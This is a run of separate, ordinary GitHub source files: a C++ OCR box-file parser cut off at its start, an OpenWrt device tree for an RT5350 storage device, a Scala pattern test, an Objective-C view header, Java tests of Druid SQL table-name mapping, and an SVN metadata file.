utf8_str, TBOX* bounding_box) { *bounding_box = TBOX(); // Initialize it to empty. *utf8_str = ""; char uch[kBoxReadBufSize]; const char *buffptr = boxfile_str; // Read the unichar without messing up on Tibetan. // According to issue 253 the utf-8 surrogates 85 and A0 are treated // as whitespace by sscanf, so it is more reliable to just find // ascii space and tab. int uch_len = 0; // Skip unicode file designation, if present. const unsigned char *ubuf = reinterpret_cast<const unsigned char*>(buffptr); if (ubuf[0] == 0xef && ubuf[1] == 0xbb && ubuf[2] == 0xbf) buffptr += 3; // Allow a single blank as the UTF-8 string. Check for empty string and // then blindly eat the first character. if (*buffptr == '\0') return false; do { uch[uch_len++] = *buffptr++; } while (*buffptr != '\0' && *buffptr != ' ' && *buffptr != '\t' && uch_len < kBoxReadBufSize - 1); uch[uch_len] = '\0'; if (*buffptr != '\0') ++buffptr; int x_min, y_min, x_max, y_max; *page_number = 0; int count = sscanf(buffptr, "%d %d %d %d %d", &x_min, &y_min, &x_max, &y_max, page_number); if (count != 5 && count != 4) { tprintf("Bad box coordinates in boxfile string! %s\n", ubuf); return false; } // Test for long space-delimited string label. if (strcmp(uch, kMultiBlobLabelCode) == 0 && (buffptr = strchr(buffptr, '#')) != NULL) { strncpy(uch, buffptr + 1, kBoxReadBufSize - 1); uch[kBoxReadBufSize - 1] = '\0'; // Prevent buffer overrun. chomp_string(uch); uch_len = strlen(uch); } // Validate UTF8 by making unichars with it. int used = 0; while (used < uch_len) { UNICHAR ch(uch + used, uch_len - used); int new_used = ch.utf8_len(); if (new_used == 0) { tprintf("Bad UTF-8 str %s starts with 0x%02x at col %d\n", uch + used, uch[used], used + 1); return false; } used += new_used; } *utf8_str = uch; if (x_min > x_max) Swap(&x_min, &x_max); if (y_min > y_max) Swap(&y_min, &y_max); bounding_box->set_to_given_coords(x_min, y_min, x_max, y_max); return true; // Successfully read a box. } // Creates a box file string from a unichar string, TBOX and page number. void MakeBoxFileStr(const char* unichar_str, const TBOX& box, int page_num, STRING* box_str) { *box_str = unichar_str; box_str->add_str_int(" ", box.left()); box_str->add_str_int(" ", box.bottom()); box_str->add_str_int(" ", box.right()); box_str->add_str_int(" ", box.top()); box_str->add_str_int(" ", page_num); }
{ "pile_set_name": "Github" }
/dts-v1/; #include "rt5350.dtsi" #include <dt-bindings/gpio/gpio.h> #include <dt-bindings/input/input.h> / { compatible = "intenso,memory2move", "ralink,rt5350-soc"; model = "Intenso Memory 2 Move"; aliases { led-boot = &led_wifi; led-failsafe = &led_wifi; led-running = &led_wifi; led-upgrade = &led_wifi; }; chosen { bootargs = "console=ttyS0,57600n8 root=/dev/mtdblock5"; }; leds { compatible = "gpio-leds"; led_wifi: wifi { label = "m2m:blue:wifi"; gpios = <&gpio0 7 GPIO_ACTIVE_LOW>; }; wan { label = "m2m:green:wan"; gpios = <&gpio0 12 GPIO_ACTIVE_LOW>; }; }; keys { compatible = "gpio-keys-polled"; poll-interval = <20>; power { label = "power"; gpios = <&gpio0 1 GPIO_ACTIVE_LOW>; linux,code = <KEY_POWER>; }; reset { label = "reset"; gpios = <&gpio0 10 GPIO_ACTIVE_LOW>; linux,code = <KEY_RESTART>; }; }; }; &spi0 { status = "okay"; m25p80@0 { compatible = "jedec,spi-nor"; reg = <0>; spi-max-frequency = <10000000>; partitions { compatible = "fixed-partitions"; #address-cells = <1>; #size-cells = <1>; partition@0 { label = "Bootloader"; reg = <0x0 0x30000>; read-only; }; partition@30000 { label = "Config"; reg = <0x30000 0x10000>; read-only; }; factory: partition@40000 { label = "Factory"; reg = <0x40000 0x10000>; read-only; }; partition@50000 { compatible = "denx,uimage"; label = "firmware"; reg = <0x50000 0x7b0000>; }; }; }; }; &pinctrl { state_default: pinctrl0 { gpio { ralink,group = "i2c", "uartf"; ralink,function = "gpio"; }; }; }; &ethernet { mtd-mac-address = <&factory 0x28>; }; &esw { mediatek,portmap = <0x2f>; }; &ehci { status = "okay"; }; &ohci { status = "okay"; }; &wmac { ralink,mtd-eeprom = <&factory 0x0>; };
{ "pile_set_name": "Github" }
class Foo { def test1[A]: List[Int] | A => Int = { case ls: List[_] => ls.head // error case _ => 0 } def test2[A]: List[Int] | A => Int = { case ls: List[_] => ls.size case _ => 0 } }
{ "pile_set_name": "Github" }
// // TuSDKCPFilterStickerView.h // TuSDK // // Created by Clear Hu on 15/9/8. // Copyright (c) 2015年 tusdk.com. All rights reserved. // #import <UIKit/UIKit.h> #import "TuSDKICFilterImageViewWrap.h" #import "TuSDKICMaskRegionView.h" #import "TuSDKPFStickerView.h" /** * 滤镜贴纸合并视图接口 */ @protocol TuSDKCPFilterStickerViewInterface <NSObject> /** * 区域视图 */ @property (nonatomic, readonly) TuSDKICMaskRegionView *cutRegionView; /** * 贴纸视图 */ @property (nonatomic, readonly) TuSDKPFStickerView *stickerView; /** * 滤镜视图 */ @property (nonatomic, readonly) UIView<TuSDKICFilterImageViewInterface> *filterView; /** * 更新布局 */ - (void)needUpdateLayout; /** * 设置图片 * * @param image 图片 */ - (void)setImage:(UIImage *)image; /** * 设置滤镜对象 * * @param filterWrap 滤镜对象 */ - (void)setFilterWrap:(TuSDKFilterWrap *)filterWrap; /** * 获取贴纸处理结果 * * @return stickerResults 贴纸处理结果 */ - (NSArray *)stickerResults; @end /** * 滤镜贴纸合并视图 */ @interface TuSDKCPFilterStickerView : UIView<TuSDKCPFilterStickerViewInterface> { // 裁剪区域视图 TuSDKICMaskRegionView *_cutRegionView; // 贴纸视图 TuSDKPFStickerView *_stickerView; // 滤镜视图 UIView<TuSDKICFilterImageViewInterface> *_filterView; } /** * 区域视图 */ @property (nonatomic, readonly) TuSDKICMaskRegionView *cutRegionView; /** * 贴纸视图 */ @property (nonatomic, readonly) TuSDKPFStickerView *stickerView; /** * 滤镜视图 */ @property (nonatomic, readonly) UIView<TuSDKICFilterImageViewInterface> *filterView; @end
{ "pile_set_name": "Github" }
package com.alibaba.druid.bvt.sql; import com.alibaba.druid.sql.SQLUtils; import com.alibaba.druid.util.JdbcConstants; import junit.framework.TestCase; import java.util.Collections; import java.util.Map; /** * Created by wenshao on 16/9/25. */ public class MappingTest_createTable_2 extends TestCase { String sql = "create table database_source.table_source(\n" + "source_key int,\n" + "source_value varchar(32),\n" + "primary key(source_key)\n" + ");"; Map<String, String> mapping = Collections.singletonMap("database_source.table_source", "database_target.table_target"); public void test_mapping_createTable() throws Exception { String result = SQLUtils.refactor(sql, null, mapping); assertEquals("CREATE TABLE database_target.table_target (\n" + "\tsource_key int,\n" + "\tsource_value varchar(32),\n" + "\tPRIMARY KEY (source_key)\n" + ");", result); } public void test_mapping_createTable_mysql() throws Exception { String result = SQLUtils.refactor(sql, JdbcConstants.MYSQL, mapping); assertEquals("CREATE TABLE database_target.table_target (\n" + "\tsource_key int,\n" + "\tsource_value varchar(32),\n" + "\tPRIMARY KEY (source_key)\n" + ");", result); } public void test_mapping_createTable_oracle() throws Exception { String result = SQLUtils.refactor(sql, JdbcConstants.ORACLE, mapping); assertEquals("CREATE TABLE database_target.table_target (\n" + "\tsource_key int,\n" + "\tsource_value varchar(32),\n" + "\tPRIMARY KEY (source_key)\n" + ");", result); } public void test_mapping_createTable_pg() throws Exception { String result = SQLUtils.refactor(sql, JdbcConstants.POSTGRESQL, mapping); assertEquals("CREATE TABLE database_target.table_target (\n" + "\tsource_key int,\n" + "\tsource_value varchar(32),\n" + "\tPRIMARY KEY (source_key)\n" + ");", result); } public void test_mapping_createTable_sqlserver() throws Exception { String result = SQLUtils.refactor(sql, JdbcConstants.SQL_SERVER, mapping); assertEquals("CREATE TABLE database_target.table_target (\n" + "\tsource_key int,\n" + "\tsource_value varchar(32),\n" + "\tPRIMARY KEY (source_key)\n" + ");", result); } public void test_mapping_createTable_db2() throws Exception { String result = SQLUtils.refactor(sql, JdbcConstants.DB2, mapping); assertEquals("CREATE TABLE database_target.table_target (\n" + "\tsource_key int,\n" + "\tsource_value varchar(32),\n" + "\tPRIMARY KEY (source_key)\n" + ");", result); } }
{ "pile_set_name": "Github" }
10 dir 2349 http://svn.github.com/propelorm/Propel.git/runtime http://svn.github.com/propelorm/Propel.git 2011-11-21T03:53:58.000000Z 2349 william.durand 5118dc35-e7e9-ab6e-6cff-ce57b7db7bff lib dir pear dir
{ "pile_set_name": "Github" }